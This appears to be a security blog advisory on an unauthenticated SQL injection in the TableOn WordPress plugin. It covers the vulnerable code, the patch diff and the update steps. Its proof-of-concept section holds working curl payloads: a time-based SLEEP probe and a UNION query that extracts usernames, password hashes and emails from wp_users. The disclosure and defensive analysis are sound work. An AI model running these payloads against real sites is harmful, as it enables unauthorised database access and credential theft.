CVE-2026-42755: TableOn Unauthenticated SQL Injection (CVSS 7.5)
Table of Contents
CVE-2026-42755 is a CVSS 7.5 (High) severity unauthenticated SQL injection vulnerability in the TableOn – WordPress Posts Table Filterable WordPress plugin. Any visitor can send a crafted AJAX request to inject SQL and extract sensitive data from the database, including WordPress user credentials.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | TableOn – WordPress Posts Table Filterable |
| Plugin Slug | posts-table-filterable |
| CVE ID | CVE-2026-42755 |
| CVSS Score | 7.5 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Vulnerability Type | Unauthenticated SQL Injection |
| Affected Versions | <= 1.0.5.1 |
| Patched Version | 1.0.6 |
| Published | May 30, 2026 |
| Researcher | hhhai |
| Wordfence Advisory | Link |
Description
The TableOn – WordPress Posts Table Filterable plugin is vulnerable to SQL injection in all versions up to and including 1.0.5.1. The plugin does not properly escape user input before embedding it into SQL WHERE clauses. This makes it possible for unauthenticated attackers to append additional SQL queries and extract sensitive information from the database.
The flaw lives in the filter system. When a visitor searches a table by title, excerpt, or content, the plugin takes the search value and places it directly into a raw SQL LIKE clause. Because the value is never escaped, an attacker can break out of the LIKE pattern and inject arbitrary SQL.
Technical Analysis
The Vulnerable AJAX Endpoint
The plugin registers two unauthenticated AJAX handlers in index.php:
// index.php – lines 76–77
add_action('wp_ajax_tableon_get_table_data', array($this, 'get_table_data'));
add_action('wp_ajax_nopriv_tableon_get_table_data', array($this, 'get_table_data'));
The wp_ajax_nopriv_ prefix means the handler is accessible to any visitor, without authentication. The handler get_table_data() accepts any POST request to wp-admin/admin-ajax.php?action=tableon_get_table_data.
How Filter Data Flows Into SQL
Inside get_table_data(), the plugin reads the incoming filter_data parameter and passes it to the filter provider:
// index.php – lines 1071–1158
$filter_data = $request_data['filter_data'];
if (!is_array($filter_data)) {
$filter_data = json_decode(html_entity_decode(stripslashes($request_data['filter_data'])), ARRAY_N);
}
// ...
$this->filter->provider($filter_data);
The filter provider (filter.php) loops over each key in $filter_data and calls the matching field’s get_filter_query_args callback. For the post_title field, the callback is defined in profiles/default/default.php:
// profiles/default/default.php – lines 505–529 (vulnerable version)
'get_filter_query_args' => function ($args, $value) use ($shortcode_args) {
$value = trim(TABLEON_HELPER::strtolower($value));
if (!empty($value)) {
add_filter('posts_where', function ($where = '') use ($args, $value) {
$sql = "";
if (isset($args['tableon_text_search_by']) AND !empty($args['tableon_text_search_by'])) {
$sql = " AND (";
foreach ($args['tableon_text_search_by'] as $field) {
$sql .= "LOWER({$field}) LIKE '%{$value}%' OR ";
}
$sql = trim($sql, ' OR ');
$sql .= ")";
}
$where .= $sql;
return $where;
}, 101);
}
return $args;
},
The $value variable holds the attacker-controlled search string. It is lowercased with mb_strtolower() but not escaped against SQL characters. The string is then embedded directly into the SQL WHERE clause:
LOWER(post_title) LIKE '%<ATTACKER_VALUE>%'
This pattern is vulnerable to SQL injection.
The Same Flaw in Three Fields
The same mistake exists for three filter fields:
| Field | Vulnerable Code |
|---|---|
post_title | "LOWER({$field}) LIKE '%{$value}%' OR " |
post_excerpt | " AND LOWER(post_excerpt) LIKE '%{$value}%'" |
post_content | " AND LOWER(post_content) LIKE '%{$value}%'" |
The comment_count filter has an additional issue. It embeds range values without any integer casting:
// Vulnerable
$where .= " AND (comment_count >= {$value[0]} AND comment_count <= {$value[1]})";
Why Sanitization Does Not Protect This Code
The plugin passes all $_REQUEST data through TABLEON_HELPER::sanitize_array(), which calls WordPress’s sanitize_text_field(). This function strips HTML tags and control characters, but it does not escape single quotes, percent signs, or SQL-specific characters. A payload like ' UNION SELECT ... passes through unchanged.
When filter_data is sent as a JSON string (not a form array), sanitize_array() sees a plain string and returns it without modification. The JSON is then decoded and the inner values are never sanitized at all.
Proof of Concept
Disclaimer: This proof of concept is provided for educational purposes only. Use it only on systems you own or have explicit written permission to test.
Prerequisites:
- WordPress site with the TableOn plugin installed and activated, version <= 1.0.5.1
- The plugin must be configured to show a table on at least one public page (the AJAX endpoint is always active once the plugin is loaded)
Step 1: Time-based blind injection to confirm the vulnerability
# A 5-second delay confirms the SQL injection is active
curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=tableon_get_table_data" \
-d "wp_columns_actions=tableon_default_tables" \
-d "fields=post_title" \
-d "post_type=post" \
-d "orderby=id" \
-d "order=desc" \
-d "per_page=1" \
-d "current_page=0" \
-d "filter_provider=default" \
-d "predefinition=e30=" \
-d "shortcode_args_set=e30=" \
--data-urlencode "filter_data={\"post_title\":\"%' AND SLEEP(5)-- -\"}"
If the response takes approximately 5 seconds, the injection is confirmed.
Step 2: Extract admin credentials using UNION-based injection
# Step 2a: Determine the number of columns in the main SELECT
# Try increasing column counts until no error
curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=tableon_get_table_data" \
-d "wp_columns_actions=tableon_default_tables" \
-d "fields=post_title" \
-d "post_type=post" \
-d "orderby=id" \
-d "order=desc" \
-d "per_page=1" \
-d "current_page=0" \
-d "filter_provider=default" \
-d "predefinition=e30=" \
-d "shortcode_args_set=e30=" \
--data-urlencode "filter_data={\"post_title\":\"%' AND 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -\"}"
# Step 2b: Once column count is known, extract credentials
# The rows array in the response will contain the injected data
curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=tableon_get_table_data" \
-d "wp_columns_actions=tableon_default_tables" \
-d "fields=post_title" \
-d "post_type=post" \
-d "orderby=id" \
-d "order=desc" \
-d "per_page=10" \
-d "current_page=0" \
-d "filter_provider=default" \
-d "predefinition=e30=" \
-d "shortcode_args_set=e30=" \
--data-urlencode "filter_data={\"post_title\":\"%' AND 1=2 UNION SELECT user_login,user_pass,user_email,1,1,1,1,1,1,1 FROM wp_users-- -\"}"
Expected result: The JSON response includes a rows array. With a successful UNION injection, the rows contain database data from wp_users (usernames, hashed passwords, email addresses) rather than actual post data.
Step 3: Verify the fix is in place
On a patched site (version 1.0.6), the same request returns normal post data or an empty result. No error is triggered and the SLEEP command does not cause a delay.
Patch Analysis
Version 1.0.6 fixes all four vulnerable locations in profiles/default/default.php. The key change is adding $wpdb->esc_like() to escape LIKE wildcards and wrapping the full clause in $wpdb->prepare():
// post_title filter – before
- $sql .= "LOWER({$field}) LIKE '%{$value}%' OR ";
// post_title filter – after
+ $like = '%' . $wpdb->esc_like($value) . '%';
+ $sql .= $wpdb->prepare("LOWER({$field}) LIKE %s OR ", $like);
// post_excerpt filter – before
- $where .= " AND LOWER(post_excerpt) LIKE '%{$value}%'";
// post_excerpt filter – after
+ $like = '%' . $wpdb->esc_like($value) . '%';
+ $where .= $wpdb->prepare(" AND LOWER(post_excerpt) LIKE %s", $like);
// post_content filter – before
- $where .= " AND LOWER(post_content) LIKE '%{$value}%'";
// post_content filter – after
+ $like = '%' . $wpdb->esc_like($value) . '%';
+ $where .= $wpdb->prepare(" AND LOWER(post_content) LIKE %s", $like);
// comment_count filter – before
- $where .= " AND (comment_count >= {$value[0]} AND comment_count <= {$value[1]})";
// comment_count filter – after
+ $where .= " AND (comment_count >= " . intval($value[0]) . " AND comment_count <= " . intval($value[1]) . ")";
$wpdb->esc_like() escapes LIKE wildcard characters (% and _) so they are treated as literal characters. $wpdb->prepare() then uses parameterized query syntax to prevent SQL injection. For the comment_count filter, intval() ensures only integers can reach the SQL query.
The fix addresses the root cause: user-supplied values are now properly parameterized before being embedded in SQL.
Timeline
| Date | Event |
|---|---|
| May 1, 2026 | Patched version 1.0.6 released by plugin author |
| May 30, 2026 | Vulnerability publicly disclosed by Wordfence |
| June 7, 2026 | This blog post published |
Remediation
Update the TableOn – WordPress Posts Table Filterable plugin to version 1.0.6 or later immediately.
- Go to WordPress Admin → Plugins → Installed Plugins
- Find TableOn – WordPress Posts Table Filterable
- Click Update Now
Alternatively, download the latest version from wordpress.org/plugins/posts-table-filterable/.